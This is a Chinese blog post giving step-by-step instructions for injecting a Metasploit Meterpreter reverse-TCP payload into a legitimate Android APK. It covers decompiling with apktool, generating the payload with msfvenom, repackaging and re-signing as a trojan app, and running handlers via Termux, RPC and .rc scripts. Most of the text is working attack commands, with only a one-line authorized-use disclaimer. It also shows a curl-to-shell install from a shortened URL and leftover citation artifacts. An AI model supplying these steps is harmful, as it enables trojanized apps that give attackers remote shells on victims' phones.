向APK文件注入Meterpreter Payload

胜天半子 发布于 19 天前


方法一:在 APK 中嵌入 Meterpreter Payload

将 Meterpreter payload 注入到原始 APK 文件中,用户安装后即可触发测试流程。

  1. 准备工作:安装 apktool.jar、Java SDK、Ruby 环境,并确保 Metasploit 已安装(包含 android/meterpreter 模块)。
  2. 反编译原始 APK
    apktool d legit_app.apk -o legit_app_smali
    
  3. 生成 Android payload
    msfvenom -p android/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=4444 -o meterpreter.apk
    

    该 payload 为 Java-based Meterpreter,可加载至 Android 设备。

  4. 将 payload 合并进原 APK:使用脚本如 AndroidEmbedITmetasploit-apk-embed-payload 自动化此过程。
  5. 重打包与签名
    apktool b legit_app_smali -o trojan_app.apk
    jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my.keystore trojan_app.apk alias_name
    
  6. 安装测试:通过 adb install trojan_app.apk 或直接在设备上安装,启动后即触发 Meterpreter 会话。

方法二:在 Android(Termux)中运行 msfconsole

当无法或不方便修改 APK 时,可在测试设备自身运行 msfconsole。

  1. 安装 Termux:从 F-Droid 或 Play 商店获取 Termux,并初始化环境。
  2. 安装 Metasploit
    • 自动脚本:
      source <(curl -fsSL https://kutt.it/msf)  
      

      或使用 metasploit_in_termux 项目一键安装。

    • 手动安装:参考 Scaler 文章 中步骤,先 pkg install wget,再下载并执行安装脚本。
  3. 启动 msfconsole
    msfconsole  
    
  4. 在 APK 上测试:利用 msfconsole -x 执行资源脚本,或配合 adb 发动漏洞利用:
    msfconsole -x "use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_tcp; set LHOST ...; exploit; exit"
    

方法三:在自研 APK 中通过 RPC 驱动 msfconsole

适用于需要在 Android 应用内远程控制 Metasploit 进行复杂交互的场景。

  1. 开启 msfrpc 服务:在测试服务器或 Termux 中启动 RPC 守护进程:
    msfrpcd -U msf -P yourpass -a 127.0.0.1 -p 55552 -S false -f  
    

    或在 msfconsole 中加载插件:

    load msgrpc Pass=yourpass Addr=0.0.0.0 Port=55552 SSL=false  
    ``` :contentReference[oaicite:5]{index=5}。  
    
  2. 在 Android APK 中集成 JSON-RPC 客户端
    • Python(Termux/SL4A):利用 pymsfrpc3 库连接并执行模块:
      from msfrpc import MsfRpcClient
      client = MsfRpcClient('yourpass', port=55552)
      exp = client.modules.use('exploit','multi/handler')
      exp['PAYLOAD']='android/meterpreter/reverse_tcp'
      exp.execute()
      
    • Java/Android:可使用基于 HTTP 的 JSON-RPC 调用,示例请求体:
      {"jsonrpc":"2.0","method":"module.execute","params":["exploit","multi/handler",{"PAYLOAD":"android/meterpreter/reverse_tcp","LHOST":"..."}],"id":1}
      
  3. 安全与认证:RPC 密码需妥善存储,建议仅在内网或测试容器中开放端口,并在 APK 中加固通信。

方法四:利用资源脚本(.rc)批量自动化

将一系列 msfconsole 命令预先写入 .rc 文件,在 Android 或其他环境一键加载。

  1. 编写 test.rc
    use exploit/multi/handler
    set PAYLOAD android/meterpreter/reverse_tcp
    set LHOST 10.0.0.5
    set LPORT 4444
    exploit
    exit
    
  2. 执行
    msfconsole -r test.rc  
    

    适合在 Termux 或 CI/CD 管道中快速复现测试场景。


注意事项与建议

  • 签名合法性:重打包 APK 时需使用测试证书,避免生产环境冲突。
  • 网络与防火墙:确保 Android 设备能访问 RPC 服务或反连主机。
  • 依赖管理:Termux 方案需额外安装 postgresqlrubypython 等;APK 注入方案需 apktoolkeytool
  • 安全合规:仅在授权环境下测试,避免违法。

以上四种方案兼顾易用性与灵活性,可根据你的测试场景(纯 APK payload、设备端 msfconsole、应用内 RPC 驱动或资源脚本自动化)自由选用和组合。

遇挚友,如逢春,自此长明,天光大亮
最后更新于 2025-05-17